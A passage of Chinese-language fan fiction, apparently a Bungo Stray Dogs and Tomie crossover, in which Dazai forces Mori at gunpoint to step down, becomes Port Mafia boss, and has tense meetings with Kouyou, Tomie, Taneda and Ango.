可出乎意料的，在森鸥外的目光中，黑发青年突然侧头看向另一边，说起了另一个完全不相干的话题。 “说起来，我在首领休息室内的墙壁上看到了《富江》呢。” 森鸥外那双紫红色眼眸微眯，沉默片刻后顺着对方的话题回答，“如果你是想问为什么会在我这里的话，我也并不介意告诉你。毕竟你也是当时拍卖会的当事人员之一……没错，是我下发悬赏找人拿到手的。” “从收藏价值来看，这幅画确实有这个资格。” 拿到手的…… 太宰治对于森鸥外使用的词汇颇有微词，但终究没有说什么和对方在这个方面辩论下去。 “算了，这幅画究竟是偷是拿暂且不论……”太宰治直接将话题转移到了重点，“森先生早就在我不知道的情况下和富江接触了吧？” 森鸥外不动声色，“是啊，毕竟无论是太宰君还是中也君，对这位富江君未免也太在意了。” “作为正值青春期的你们来说可能觉得很正常，但是作为首领我还是很担心你们被骗、……” “森先生。”太宰治直接打断中年男人的长篇大论，语气略微不耐烦地直接开口，“这种话语你去骗骗中也这个笨蛋也就算了，怎么还打算拿来糊弄我呢？” “……没错，我确实私下见过那位富江君了。”森鸥外不再装模作样，“不过见他的理由也是真的，毕竟当时的我无论怎么想都不觉得能令你们两个的注意力都放在富江君身上的他，只是个一般人呢。” “事实上，宫水富江也确实并不是什么普通人。” “而是一名精神系异能力者……对吧？” 森鸥外反问面前的黑发青年，这件事情对方应该最清楚才对。 太宰治见状勾起了唇角，“是啊，他确实是一名精神系异能力者。不仅如此……” 森鸥外见对方还有话要说，不由得蹙眉。 “他还是和我一样被动型的精神系异能力者。而他的能力，”太宰治嘲讽地对面前的男人笑道，“森先生已经深深体会到了，不是吗？” “不由自主地喜欢上他，然后爱上他，最后……” “——想要杀了他。” 听到这种话语，森鸥外下意识睁大双眸，那张关键时候总是云淡风轻、高深莫测的脸在这时候表现出了少见的茫然和难以置信。 他并未觉得自己现在对那名少年所做的举动是哪里有问题的，至少在太宰治提醒前他是这样想的。 可是在对方提醒后，他确实感觉到自己做了一些额外的事情。 想到这里，森鸥外想起了自己曾经让爱丽丝变成少年模样的回忆。 原来这也是异能力的作用……吗？ 森鸥外下意识想到，然后不由得看向满脸嘲讽的黑发青年。 但是太宰君拥有的异能力[人间失格]可以让他人的异能力无效，所以…… 似乎看穿了他的想法，黑发青年在这个时候突然后退几步，与他保持了距离。 不仅如此，对方歪了歪头，用戏谑的眼神注视着他继续道，“难不成森先生以为我会那么好心地帮你解开异能力吗？” “……” 森鸥外轻蹙眉头。 可就在这个时候，森鸥外发现黑发青年淡定地从口袋中拿出一把枪对准了他。 也许刚刚保持距离也是为了这一刻也说不定。 见状，森鸥外忍不住道，“就算你这样直接杀了我上位，也无法获得别人的支持，我想你应该知道这一点才对。” “可是，森先生你是不是忘了什么？” 黑发青年神色不变，“虽然我是你的弟子，但是我并不像你那样站在最优解上。而且很巧的是，我也知道你最在意什么。” 听到这句话，森鸥外的表情瞬间变得惨白，他明白了对方的意思。 果然下一刻，对方的话语印证了他的想法。 “不过和森先生当初只给我注视着大家死去的这一个选项不一样，我可是给你留下了两个选项呢。” “撒，来选吧。” “你是想就这样告别你热爱的组织港口Mafia或者说横滨这块土地死去？还是说，”黑发青年冰冷的一字一句道，“森先生更想这样不解除富江的异能力，不得不痛苦地活着离开港口Mafia呢？” “嘛……无论你选哪种，对于我来说都是值得高兴的事情吧。” “反正，港口Mafia已经是我的囊中之物了。” 第52章 森鸥外最终没有选择死亡, 而是选择带着富江的诅咒离开港口Mafia痛苦地活下去。 太宰治对于森鸥外的这个决定并没有多意外，他清楚的明白在对方的心里，这个组织、这块名为横滨的土地, 又或者说这个名为日本的国家对于面前这个男人来说有多么重要，重要到了即使痛苦地活着, 也完全不想放弃注视着他们未来情况的机会。 不过太宰治本人在获得森鸥外的回答后，却没有自己之前口中说得那么开心。 他在得知[MIMIC]一切的真相时, 内心除了对织田作即将赴死的绝望和安吾的背叛外，同样还有来自对森鸥外的难以置信。 ——他彻底看清楚了森鸥外是个怎样的存在。 如果用比喻，那么森鸥外就是一台理智到屏蔽自己情感从而失去人性的人工智能。面对问题或者困境，也总是使用最优解进行。 但也正是因为这样, 太宰治对于森鸥外接下来的举动心情更加复杂。 “太宰君，如你所愿我输了。”中年男人勾起唇角如此说道，可神情上却没有任何败者的模样。 甚至相反, 这个中年男人继续道，“就像我曾经对中也君说过的, 只要是为了组织的存活与利益, 无论是什么事情我都乐意去做。” “而现在，这句话依然有效。所以太宰君……” “————” 太宰治面无表情地听着森鸥外所说的话语, 但同时也在思考一件事。 他想，他可能这辈子都无法理解森鸥外对组织、对这个城市以及对这个国家的热爱了。 因为面前的中年男人即便是到了现在, 也依旧将最优解贯彻到底, 即便…… ——他自己也是其中的一环。 * 接下来一周的时间, 太宰治很忙碌，忙到了几乎双脚都快沾不了地的地步。 但幸好当初委托[武装侦探社]是正确的决定，即便有着森鸥外的最优解帮忙，事态的发展比太宰治预想的还要棘手。直至现在, 他才终于有了喘口气的时间。 港口Mafia，顶层的首领办公室。 太宰治坐在曾经森鸥外所坐的位置上，捏着自己鼻梁缓解疲惫。大概过了一会儿，他放下自己的手，转动座椅看向了通电的落地窗。 望着外面一览无余的景色，除了‘也就这样吧’的想法外，没有任何念头。 “首领，尾崎干部求见。” 没多久，办公室大门的两个守卫传达了这样一条信息。 太宰治没有任何动作，连头都没有回，直接道，“那就让她进来吧。” 随着他的话音落下，身后办公室的大门发出了“吱呀”的开门声，可很快开门声又被关门的声音替代。 安静的屋内没有任何脚步，就好像从头到尾都没有想要与他见面的人。 “……首领。” 等待良久，偌大的房屋内，才终于出现一道声音。 太宰治转过身去，看到了尾崎红叶的身影。 就像他在注视对方一样，对方同时也在观察着他。 “这不是红叶大姐吗？居然刚好在我休息的时候找上门来……是有什么事情要说吗？” 尾崎红叶看着面前的黑发青年，对方与上次见面相比没有太大的区别，还是黑色西装与白色绷带的配色。 非要说的话…… 她的目光看向了对方挂在座椅上的那条显眼的红色围巾，那是港口Mafia首领的象征。 见状，尾崎红叶询问，“首领不带上那条围巾吗？” 黑发青年听到他的话语回头轻飘飘地看了一眼红色围巾，“啊，其实也不是不想带啦。只是一想到自己现在穿着这一身黑色西装戴上这条红色围巾的话，总感觉站在镜子面前会像森先生……” “光是想想那个画面，我就受不了。” 说着，黑发青年的神情露出了毫不遮掩的嫌弃，像是已经联想到那个画面了。 尾崎红叶双眸微眯，盯着黑发青年的举动。 许久之后，她终于还是提醒面前的太宰治，“首领知道外面的谣言吗？” “怎么说？” 面前的青年似乎并不在意，只是随意地询问。 尾崎红叶却意味深长地回答，“他们都说你为了成为港口Mafia首领，所以杀害了先代首领，然后伪造了上位证书。” 这么说的同时，她还在不停地观察面前太宰治的神情。 她也不是不能理解外面这种流言蜚语的原因，毕竟港口Mafia短短五年内换了两任首领。 更别说这位新首领的上位是基于先代首领没有任何问题的情况下…… 真的，很难不引起别人的怀疑。 “真是的……” 在尾崎红叶的目光中，黑发青年看似无奈的叹息了一声，随后继续道，“明明港口Mafia内的成员都知道我的上位是名正言顺的，毕竟森先生手写的证书红叶大姐也看过了，对吧？” 黑发青年说到这里，那只鸢眸与她对视。 显然对方早就知道她说这么多是为了试探什么，见状尾崎红叶也不再保持沉默。 “首领。”尾崎红叶放下了遮掩嘴角的袖口，双眸认真询问，“虽然不知道你和鸥外阁下之间发生了什么，但是显然那个证书是真的。” 曾站在森鸥外那边支持对方解决初代港口Mafia首领的尾崎红叶自然知道那个证书和印章是货真价实的，但比起太宰君究竟是怎么上位的这件事情，她更在意对方究竟想要怎么发展港口Mafia。 尾崎红叶并不否认她这些年与森鸥外共事的时间与相处的关系，从下属的角度来说，森鸥外作为首领至少还是不错的。比起过去那个首领所带领的港口Mafia，她更喜欢森鸥外所带领的港口Mafia。 可现在轮到太宰治…… “既然如此，鸥外阁下让你成为港口Mafia首领这件事就是事实。只是我更想知道，”尾崎红叶继续道，“首领你想将港口Mafia发展成什么模样呢？” “……” 尾崎红叶没有想到黑发青年居然在这个问题上出乎预料地停顿起来，她不由得轻佻眉头。 不知道了过了多久，她才听到对方的回答。 “应该是……对我来说重要的人都能活下去的模样吧。” 意义不明的回答…… 尾崎红叶本该这样想，可是不知为何，她想起了初任首领时期自己经历的事情，当时她站在森鸥外这边帮助对方成为首领，或许也是抱着这样的想法。 于是，她轻轻闭上双眸，对面前的黑发青年回答，“我明白了……” 也许面前的首领还是有些稚嫩，不过尾崎红叶并不否认对方的潜力。 不过既然这样，那么另一件事她也应该和这位首领提一下。 “可是首领，”看着面前发出声音困惑看向她的黑发青年，尾崎红叶提醒对方，“你还记得中也吗？” 他现在可是还在国外出差，不知道这边究竟发生了些什么呢。 听到尾崎红叶的话语，太宰治才缓缓想起来自己还忘了什么。 “啊……嗯，中也对吧？说的是呢，中也还在国外出差呢……” 太宰治想了想回答，“不过，我记得中也也快回来了。这样的话，那就等对方回来后，作为惊喜告诉对方好了。” “光是想到中也见面不得不喊我首领的画面，我就已经忍不住笑起来了呢。” 尾崎红叶没有说话，对此持保留意见。 她觉得比起喊太宰首领，中原中也说不定会以篡位为由先揍对方一顿。 ** 成为港口Mafia首领的事情虽然在里世界掀起了轩然大波，但是对于大多数人来说，都只是看个热闹围观一下。 宫水富江从江户川乱步那里接听到这个信息的时候，表现出了诧异。 “……太宰先生成为港口Mafia的首领吗？” 说实话，他其实对于港口Mafia之前的那个首领，也就是太宰先生最初的上司就没有好感。 更别说在知道太宰先生朋友织田作之助所面临的危机都是对方所搞的鬼，以及之前对方伪装过来骗过他后，好感值就跌入谷底。 不过，太宰先生成为港口Mafia的首领……是不是哪里发展得不太对？ 说好的为了友人跳槽呢？ 宫水富江虽然知道蝴蝶效应，但是他不理解自己制造的蝴蝶效应居然有这么大。 他原本以为后面的发展会是太宰先生去给森鸥外添麻烦捣乱，然后与织田先生一起跳槽去新工作地点。可现在这样看…… 跳槽似乎不可能跳槽了，太宰先生直接干掉森鸥外上位港口Mafia首领了。 【“嘛……听说是那个男人给了正当继承的说明，不然不可能只花这么短的时间就成为了港口Mafia新任首领的。”】 【“某种程度上来说那个男人是把自己最优解的理念贯彻到底了，就连对待自己也毫无人心可言……”】 宫水富江听到对方后面压低声音嘀咕着什么，只不过隔着手机再加上对方使用的是老式翻盖手机，宫水富江完全没有听清。 于是，他知道下意识询问，“乱步先生刚刚说了什么吗？” 【“才没有！”】对方大声说道，紧接着音量正常继续道，【“总之，我想说的就是，事情的发展比对方预想得顺利，这也就意味着对方当初委托我们进行半个月的时间现在来看其实有点长了。想必过不了多久……”】 “咔嚓。” 宫水富江原本还听着乱步先生说些什么，可是很快开门声打断了他接听电话的动作。 担心会是什么人的闯入，宫水富江对着手机对面的乱步先生开口，“抱歉，乱步先生。我这边有点事情，等会儿我再打电话过去。” 说完，不等对面乱步先生的话语，宫水富江率先挂断电话。 他警惕地握着枪支，漫步来到玄关门口。 下一刻房门被打开，然而出现在他面前的是之前还和乱步先生在电话中提及的人——太宰先生。 即便看见他手中的枪，也没有任何惊慌，而是淡定的对他露出笑容开口： “好久不见，富江。” 第53章 “太宰……先生？” 宫水富江没有想到居然会在这个时候看到太宰先生, 下意识惊讶出声。 “富江你看到我的态度似乎很不可思议呢……为什么？”对方关上房门，动作自然地换了一双鞋走了过来，就好像曾经那段许久没有出现的时间都是虚假的。 “这是因为……”随着对方的距离靠近, 宫水富江余光瞄到了自己还握在手上的枪，顿了一下放下来后, 才回答面前之人的问题，“其实刚刚还在和乱步先生打电话聊到了太宰先生。” 太宰治听到那个名字, 手指微微动弹了一下，但面上没有任何变化，而是淡淡道，“啊, 是那个因为我是港口Mafia成员而对我没有什么好感的名侦探吗？” 听到对方这么说，宫水富江想起来两人之间的关系似乎并不太好，不过他觉得主要是乱步先生偏见有点重。 想到这里, 他立即转移话题，“其实乱步先生是来告诉我委托情况的, 只是顺便提到了太宰先生的事情！” “织田作吗？” “没错没错。”宫水富江在内心松了口气, 随后继续道，“他说织田作先生……织田先生和那五个孩子目前在[武装侦探社]的安全屋内没有任何问题, 还跟我说因为那个男人给出的正当理由所以太宰先生成为港口Mafia首领比预想的顺利，说委托会比之前更快的完成。” “原来如此。”太宰治大概明白江户川乱步都和宫水富江说了些什么。 虽然与那位名侦探的关系并不好, 但是对方的实力是毋庸置疑的。 “不过富江不必强求自己喊织田作为织田的, 我想织田作已经习惯自己被人喊织田作这个事实了。” 太宰治当然发现了少年话语中的奇怪之处。 就像坂口安吾一开始也在喊织田作为织田, 只可惜最后还是败在了织田作这种喊法的顺口之下。 “这样真的可以吗……” 少年似乎还有些不好意思，但太宰治却直接回答，“当然可以，毕竟——” “富江又不是别人。” 听到太宰先生的话语, 宫水富江不由得撇过了头。 对方说得好像没什么问题，但是不知道为什么，他就是觉得有点不好意思…… 意识到这点后，宫水富江下意识想要转移话题，“说起来——” 太宰治自然看到了少年那白皙的皮肤微微泛红的脸颊，和不太自然的行为举止。 但他没有出声，而是带着笑意看着对方。 “乱步先生说太宰先生虽然速度比预想的要快，但好像没有说会这么快。” 少年询问，“太宰先生突然回来是有什么事情的吗？” 太宰治没有顺着少年的问题回答，而是进行了反问，“为什么富江认为我一定是因为别的什么事情才能回来呢？” 少年逐渐睁大的眼眸，表情似乎有些不可思议，大概是没有想到他会这么说。 见到对方这个表情，太宰治不由得嘴角弧度增大。 “可是、可是……”对方的回答令宫水富江措手不及，他感觉自己好像又开始发晕了。可倏地，他想起了一件事，于是急忙说道，“既然太宰先生现在有空了，那为什么不去先解决织田作先生的事情？” 因为乱步先生说了，太宰先生完成委托的事情应该会比预料的时间更快，所以宫水富江以为太宰先生会先去解决织田作先生的事情。 “为什么非要在这个时候继续提起织田作的事情呢？”太宰治看得出来对方正在拙劣地转移话题，颇有些不满。 不知道是不是听出来了什么，只听少年开口，“但那是对于太宰先生来说很重要的朋友，所以我想……” 对方顿了顿语气柔和地对他继续道，“如果能够得到妥善处理就好了。” “……” 太宰先生没有说话，宫水富江有些茫然。他抬起头，刚好对上了太宰先生直勾勾地望着他的目光。 大概是发现了他的不解和慌张，宫水富江听到太宰先生缓缓开口。 “肯定可以的。” “虽然我也想更快处理织田作的事情，但是可惜的是，这件事情接下来的关键已经不再是我了。” “唔？” 宫水富江发出困惑的声音，然而太宰先生却似乎并没有解释的想法，而是看着他突然轻轻笑了起来。 这一刻不知为什么，他感觉太宰先生才是那个带着富江体质的人。 尽管客厅明亮，但灯光照射在太宰先生蓬松的头发还是使得那张脸大半处在了黑暗之中。 处在阴影中那只鸢眸微微发着亮光，又因为那副笑脸，让宫水富江觉得对方此刻像是将他紧紧缠绕却又舍不得入口的黑色巨蟒。 在宫水富江的目光中，太宰先生正在慢慢朝他走了过来。随着对方的靠近，宫水富江感受到了某种压迫感。 可尚未等他反应过来，一道铃声打破了这奇怪的氛围。 宫水富江猛然惊醒，他顺着声音望去，发现太宰先生已经从对方的怀中拿出了手机。 对方似乎并不想接，但看了一眼后，还是接了起来。 “有事就直接说。” 太宰先生的声音冰冷，语气带着明显的不耐烦。 虽然明面上看不出来对方的变化，但宫水富江隐隐感受到了太宰先生的不悦。 不知道电话另一边说了什么，太宰先生周身的氛围突然轻松了不少，然后挂断了电话。 注意到太宰先生望过来的目光，宫水富江微微歪头。 “也不知道是巧还是不巧，刚和富江聊到，结果关键就来了……”太宰先生的声音听不出来什么情绪。 宫水富江愣了一下后，才反应过来对方的意思。 于是立即由衷地为太宰先生感到恭喜，“那完全是件好事！” “是啊，就是……”太宰先生的声音顿住，与他对视。 宫水富江没明白对方想说什么。 “明明好不容易获得了休息时间，可惜现在又要继续返回港口Mafia工作了。” 听到这里，宫水富江明白对方想表达什么，大概是不满。 毕竟之前太宰先生工作的时候虽然忙，但也经常找机会摸鱼翘班。现在成为首领之后，确实没有办法像之前那样了。 宫水富江正在思考怎么安慰太宰先生两句，就听到对方突然开口询问他。 “说起来富江有推荐的颜色吗？” 宫水富江下意识询问，“颜色？” “因为成为港口Mafia的首领后，我也同时继承了作为首领的象征——一条红色围巾，但是穿黑色西装配上红色围巾的话，我总感觉自己很像前任首领……” 对方的语气带着浓浓的不情愿，宫水富江明白了对方的想法。 他微微思考了一下后，对着太宰先生开口。 “既然这样的，灰色……怎么样？” 太宰治略微好奇，“为什么是灰色？” 他穿过黑色又或者棕色的西装，但好像并没有穿过灰色。 “虽然不知道在别人眼里太宰先生是什么样子的，但是在我这里，太宰先生给我的感觉更像是灰色。” 太宰治注意到少年脸上带着轻微的不好意思的神色，对方继续道，“尽管不是光明，但也不是绝对的黑暗。既然如此，我想，没有比灰色更适合太宰先生了。” “……” 宫水富江注意到太宰先生久久没有说话，本想着自己是不是说错了什么，结果看过去后，发现太宰先生又露出了那种表情。 ——那种宛如巨蟒，想要紧紧勒住猎物的表情。 * 隔日，港口Mafia。 尾崎红叶按照命令，出现在了首领办公室内。 她独自站在办公室内偌大的空间中央，只可惜首领似乎还未着装好，隔着休息室的门让她稍等一下。 尾崎红叶虽然有些不解，但并未拒绝。更重要的是，她这次来到这里是为了等待对方下达任务。 这是对方成为新首领上任后亲自给她下达的第一个任务，某种程度上应该也算是对方表达信任的表现。 “咔嚓。” 休息室的门打开，尾崎红叶垂眸，等到对方出现在她的面前时，尾崎红叶的视野里出现了一双灰色的西装裤腿。 见到这个颜色，她抬起了眼眸。出现在她眼眸中的，是穿着灰色西装、披着红色围巾的太宰治。 “怎么样？特意询问了别人的意见换的颜色。” 对方似乎看出来了她的注意点，主动开口询问意见。 尾崎红叶自然知道对方想要换颜色的原因，只不过…… 前面那句她可以理解，后面那句明显是故意说给她听的。 虽然这样想，但尾崎红叶还是顺着对方的意思夸赞了对方一句。 “没有想到居然是灰色啊，但出乎意料的适合您，首领。” 黑发青年勾起了唇角，并不掩饰自己高兴的心情。 “本以为穿起来会很奇怪……但没有想到效果比我预料得要好。” 就在尾崎红叶思考要不要将话题拉回正轨的时候，黑发青年似乎终于意识到自己喊她过来的目的。 “红叶大姐，今天我要出门去见一个非常重要的组织。” “因为是秘密见面，所以只能麻烦你临时担任我的保镖。” 尾崎红叶听到这里，自然不会拒绝，“当然，这是我作为部下应该做的事情。” 虽然她本身是暗杀者，但是她的实力即使是正面面对敌人也丝毫不用慌。 不过，即便是这样，她还是需要提前询问一下这次去见的组织是谁。 听到她的问题，黑发青年的脸上露出了高深莫测的笑容。可即便如此，也无法抵挡微笑之下的冰冷。 对方的这个态度，令她不由自主地想起了前任首领。紧接着，她听到黑发青年回答了她的问题。 “是谁？那当然是……” “——异能特务科。” 第54章 傍晚, 横滨附近的海域。 平静的海面、璀璨的夕阳，相互映衬形成一幅巨大无比的美景。但在这片靠近横滨港口的海面上，却漂浮着一艘小型游轮, 突兀地出现在这幅油彩画中，打破了平静。 远远望去, 可以发现小型游轮上仅仅只有四个人，可却又分成两两一组。 这边是身穿和服的光着头的中年男人与梳着背头、嘴角带痣的青年, 另一边是身穿灰色西装、披着红色围巾的黑发青年与穿着红白渐变和服的红发女性。 “真是没有想到，港口Mafia的新任首领居然如此年轻。果然现在的后辈都不容小觑啊！”种田长官像是感叹，像是欣慰地注视着坐在自己面前的黑发青年缓缓开口，打破了原本安静的氛围。 “种田长官过奖了。” 然而黑发青年却是不卑不亢、面带微笑地应对了他的回答。 种田长官微微挑眉, 随后继续道，“这怎么算是过奖？明明是实话实说。” “要是能在这个时候将你的首级带回去，恐怕政府上层的人都会高兴得合不拢嘴。” 挑衅的话语, 以他们对立的组织态度来看并不过分。 黑发青年像是并未察觉，神色没有丝毫变化, 而是保持微笑回答, “还是饶了我吧，正义的大人物怎么可能会看见我的首级而笑呢？又不是什么奇怪的恋尸癖。” 这种将他的挑衅轻而易举地抵挡回来的回答, 也让种田长官明白一件事——面前的这个叫作太宰治的青年比想象中的更加麻烦。 实际上这种事情他也早有预料，港口Mafia的上任首领一边利用[MIMIC]给他们制造麻烦和一边带着情面放过他们这边卧底, 逼迫他不得不给港口Mafia发放异能许可证的时候, 他就知道港口Mafia的上任首领有多难搞。 尽管不清楚面前这个黑发青年是否如对方表面展现的那般是名正言顺成为港口Mafia首领的, 可既然能将那个上任首领拉下来，就已经说明对方的实力不比上任首领差。 想到这里，种田长官眼底闪过微光。 可下一个瞬间，他眼底的微光早已消失, 只剩下脸上客套的笑容。 “不不不，你还是太小瞧自己了。毕竟根据我们的情报网，你可是将狠狠地把上任首领森鸥外拉下马了呢。”种田长官不动声色地开口。 然而黑发青年听到这种话语没有任何变化，甚至淡淡回答，“异能特务科的情报网吗？我可是早就有所耳闻了。不过现在来看，贵组织的情报网好像在这几天有所懈怠了？” “要知道，我可是通过光明正大地成为港口Mafia新任首领的。” 说到懈怠的时候，太宰治的目光看似意味深长地望向了光头男人身后站着的青年。 这一举动当然引起了种田长官的注意，但他却并没有任何慌张，甚至相反笑了起来。 “说起来，我要是没记错，太宰先生应该认识我今天带过来的后辈吧？” 太宰治面不改色地听着面前光头男人开口，顺着对方的看向了坂口安吾。 被提及的青年伸出手抬了抬镜框，在镜片反光下，太宰治看不清楚对方的眼神，但他大概能想到。 ——毕竟他太了解坂口安吾了。 因为…… “听说在太宰先生还没有成为港口Mafia首领之前，也就是干部的时候，两人好像还是朋友？” 种田长官说着，似乎完全不觉得在此时此刻两人见面有多么尴尬。 不仅如此，他甚至继续道，“不过希望太宰先生你也不要太介意，毕竟坂口之所以会是卧底，也是因为任务需要和立场问题。” 太宰治能够通过站在光头男人身后坂口安吾的动作，清楚地明白对方对他的在意和紧张。 他能明白种田长官说的是实话，也明白之前一切都是森鸥外针对他的计划。 只是—— 即便如此，太宰治也会忍不住产生愤怒与生气的情绪。 他扬起嘴角露出笑容，对着种田长官开口，“没想到种田长官居然还知道这件事情，只可惜立场很多时候就已经说明了很多问题。” 太宰治能够清晰地感受到，这句话语落下后，站在种田长官身后那个青年不自然的神色和突然停顿的呼吸。 他无视青年看过的视线，而是继续与光头男人继续相互对视。 种田长官见他这副态度，似乎也在辨认真假，只可惜对方最终还是放弃，只是开口道，“嘛，毕竟相互安插卧底对于我们这样的组织而言都是常事，这种小打小闹相比以后也还会出现，只要大家在横滨内都相安无事，我想，有些事情没有必要太过于较真。” 说完，对方看向他，“太宰先生说呢？” 太宰治露出一个高深莫测的神情，并用若有所思地回答开口，“既然异能特务科的科长都这么说了，我当然是没有任何意见的。” “就像您说的，这只是常事而已。” 说完这句话，太宰治就注意到了坂口安吾双眸下意识撇过了视线。 但与坂口安吾不同，种田长官却是笑了笑，“那就好。” 随后光头男人开始放松姿态，用一副闲聊的口吻聊起了其他话题，“不过，我听说与上任首领森鸥外不一样，太宰先生似乎并不是单身。” “……” 太宰治没有立即说话，而是先与对方对视。 他心里清楚地知道，对方终于聊到了他们这次秘密会面的主要原因。 “没有想到异能特务科的科长也喜欢与别人谈论这种事情呢……不过谈论到正主面前是不是有点不太好？”太宰治反问，但话语中既未正面回答，也没有直接否认。 光头男人像是被逗笑了，举起手中的扇子给自己扇了扇风，“你是不知道。上任首领森先生可是以港口Mafia出面解决令我头疼偷渡到横滨的组织[MIMIC]为由，从我这里拿走了异能许可证。” “结果我们的情报网显示，解决[MIMIC]的分明是一名黑发少年。真是没有想到，横滨居然还存在着一个如此强大的精神系异能力者。” “而且当时非要说那名少年与港口Mafia有什么关系，那也就只是传闻你似乎与他存在着密切的关系。” 说完，光头男人说完还颇为可惜地摇了摇头，“早知道，等证实[MIMIC]是被港口Mafia的成员解决后，再把异能许可证给他就好了。” 可太宰治哪里不懂，对方实在试探他的态度。 “就算‘早知道’，对于种田长官来说也没有任何用吧？毕竟……” 太宰治眼眸微眯，“异能许可证森先生已经拿到手了，而且就算我与富江的传闻是假的又如何？难不成种田长官在知道富江的异能力是什么后，有信心看管住富江吗？” “哈。”说到这里，太宰治忍不住轻笑一声。 他单手撑着脸颊望向对面的中年男人，用着最后的话语打断了对方最后一丝妄想。 “富江现在已经与港口Mafia产生无法分割的联系了。” 富江现在已经与他产生无法分割的联系了。 …… 秘密会面结束的时候，太阳已经落下了海平面。 游轮也开始靠岸，表明它这次工作的结束。 种田长官与太宰治相互并行的同时之间还存在着巨大的间隔，就像是代表两个相互不容的组织，隔着巨大的深渊。 不过明面上，两人依旧戴着微笑，象征着合作的平稳结束。 太宰治与跟随在他身后的尾崎红叶来到一辆高级豪车的面前，这是专门接送他们的车辆。 看着这辆车，尾崎红叶率先为太宰治打开车门，示意对方上车。然而太宰治并未上去，而是站在原地不动像是在思考什么。 就在尾崎红叶不解准备出声询问的时候，她看到黑发青年默默将红色围巾摘了下来递给她。 “你先回去帮我放到办公室的座椅上吧，我想起来还有别的事情需要走一趟。” 看着手中的红色围巾，尾崎红叶最终还是选择独自上车。 她望着黑发青年行走的方向，对着司机开口，“走吧。” * Lupin酒馆内，昏暗的灯光和悠长的古典音乐都在渲染着某种氛围。 太宰治落座在吧台前，静静端起老板刚调好的酒抿了一口。 大约过了十几分钟，酒馆上方的门口传来被打开的‘吱呀’声，紧接着就是令太宰治耳熟的脚步声。 那是皮鞋与木质地板接触发出的响声，他在过去曾无数次听过。 对方在下来后，很快停住。 太宰治能感受到对方犹豫的脚步和停留在他背上的目光。 见状，他头也不回地开口，“怎么不过来坐下？还是说回到异能特务科跳了好几级的坂口先生现在已经看不上我了？” 大概是因为他的话语，身后的人终于再次有了行动漫步来到他的身边坐下。 对方先是熟练地朝老板要了一杯番茄汁，紧接着才对他刚刚的话语做出反应。 “怎么会？倒不如说，应该是我担心你看不上我才对。” 太宰治望过去，只见嘴角带痣的青年神色充满忧愁地开口，“毕竟你现在可是港口Mafia的首领。” “而且——” “我连在这里见到你都感觉到难以置信……” “……” 听到这句话，太宰治只是垂眸晃了晃自己手中的威士忌酒杯。 金黄的液体随着杯子的晃动而晃动，发出了轻微的水声。 在这突然安静的空间中，异常响亮。 “太宰，我有一件事想要你的证实。” “宫水富江他……” “——不是什么精神系异能力者吧？” 话音刚落，晃动的水声停止。 第55章 伴随着坂口安吾自己的话音落下, 他自己都忍不住在这个倏然安静的空间中紧张地咽了咽口水。 说实话，他来到这里不单纯是因为过来想要碰碰运气，也是想要获得这个问题的答案。 不久前在海面上属于异能特务科与港口Mafia之间的秘密会面, 听到种田长官与太宰治之间的对话，坂口安吾就知道这件的事情。 ——自己差点害死织田作之助的事情在太宰治的心中并未结束, 对方并未原谅自己。 不……或许说，从之前那次在lupin酒馆三人最后一次他就明白了。只是这次太宰治通过与种田长官的对话, 将这件事情说得更清晰了。 但坂口安吾还不清楚，太宰治究竟是怎么想他。 不过，即便这样，他也有一件事不得不和对方说清楚。 关于那个少年, 那名叫做宫水富江的少年的事情。 “……安吾，我过来并不是想和你谈论有关于富江的事情的，而是想和你聊聊织田作的事情的。还是说……” 在坂口安吾的目光中, 穿着灰色西装的黑发青年眼眸变得锋利起来，压低声线询问他, “在这个地方、这个时刻, 安吾还是更想聊聊除了织田作以外的事情？” “……” 坂口安吾听到这样的话语，神情不由得流露出不自然。 他明白太宰治话语中的含义, 对方是想表达在这种具有特殊意义的地方谈论别的事情的他是否过于没有情商了。 他过来也许只是抱着碰碰运气的想法，但太宰治大概是早就料到他会过来, 所以在守株待兔。 对方想要和他聊有关于织田作的事情…… “如果安吾真的想要这样聊的话, 那我可是有太多事情可以和安吾说了。” 大概是坂口安吾沉默得太久, 以至于对面已经等得不耐烦率先讲述了起来。 “安吾是异能特务科的成员这一点我并不意外，毕竟安吾说实话很优秀，比正常人要远远优秀得多。再加上龙头战争时候所表现出来的那种‘即便是默默无闻的底层人员也是人’的那副态度，就让我觉得安吾其实并不适合港口Mafia了。” “不过安吾进入港口Mafia的理由和伪造的经历没有任何漏洞, 再加上之前被港口Mafia追杀长达几个月的经历也做不了假，确实会产生‘正常卧底怎么会做到这个地步’而没有想到……” 听着黑发青年持续不断地说着，坂口安吾感受到了某种心虚的感觉——因为自己从出现在港口Mafia开始一切都是虚假的。 可是…… “太宰，即便这样我也还是想说出这句话……” “——我在港口Mafia卧底的这几年与你还有织田作先生所产生的友情绝不是虚假的！” 坂口安吾紧紧凝视着对方的鸢眸认真开口，“在这件事情上，我可以向你发誓。” 黑发青年面无表情地盯着他默不作声。 坂口安吾确实感受到了对面之人身上发散出来的某种压迫，但纵使这样，他也没有任何后退的意思，甚至连额头都没有冒出一丝冷汗。 就在坂口安吾不知道过去了多久的时候，面前的黑发青年倏地地侧头看向自己手中的酒杯，轻轻举起抿了一口。 随后黑发青年才回眸看向他，淡淡开口，“我当然知道。” “如果你连这一点都欺骗了我、……我们，那么在上次lupin见面的时候，我就会毫不犹豫地扣动扳机。” 坂口安吾因为这句话下意识抬了抬镜框，想要遮掩自己眼神中的情绪。 他从心底感受到了释怀。 他想，现在这样就很好。 对方能这样说，或者说还会生气，就意味着他们还是朋友。只是现在，他们处于朋友之间都存在的闹矛盾阶段。 而他此刻需要做的，就是获取朋友的原谅。 想到这里，并在得知一切都没有往最糟糕的地方发展后，坂口安吾原本紧张的内心瞬间松了口气。 可是很快，太宰治的下一句话又瞬间让他的心提了起来。 “更何况，安吾你一直没有越过界。” “再怎么说也是异能特务科安排进来的卧底，甚至遇到危险还能有特殊的黑色部队来救你，返回异能特务科后又直接连升几级，想必你的异能力相当特殊也好用吧？” 坂口安吾身体紧绷的缓缓望向黑发青年，可对方却相当神色从容。 “让我猜猜……” 就在坂口安吾不知道怎么回答的时候，他看见太宰嘴角勾起笑容继续道，“是通过某种方法获得信息？比如接触物品……啊，看来说对了呢。” 异能力的效果是每个人的秘密，不过也需要看重要程度。 坂口安吾清楚地知道自己之所以会成为卧底，不仅是上司种田长官的考验，也是因为他的异能力在这方面很便利。 异能力[堕落论]，可以通过接触物品获得上面的记忆。 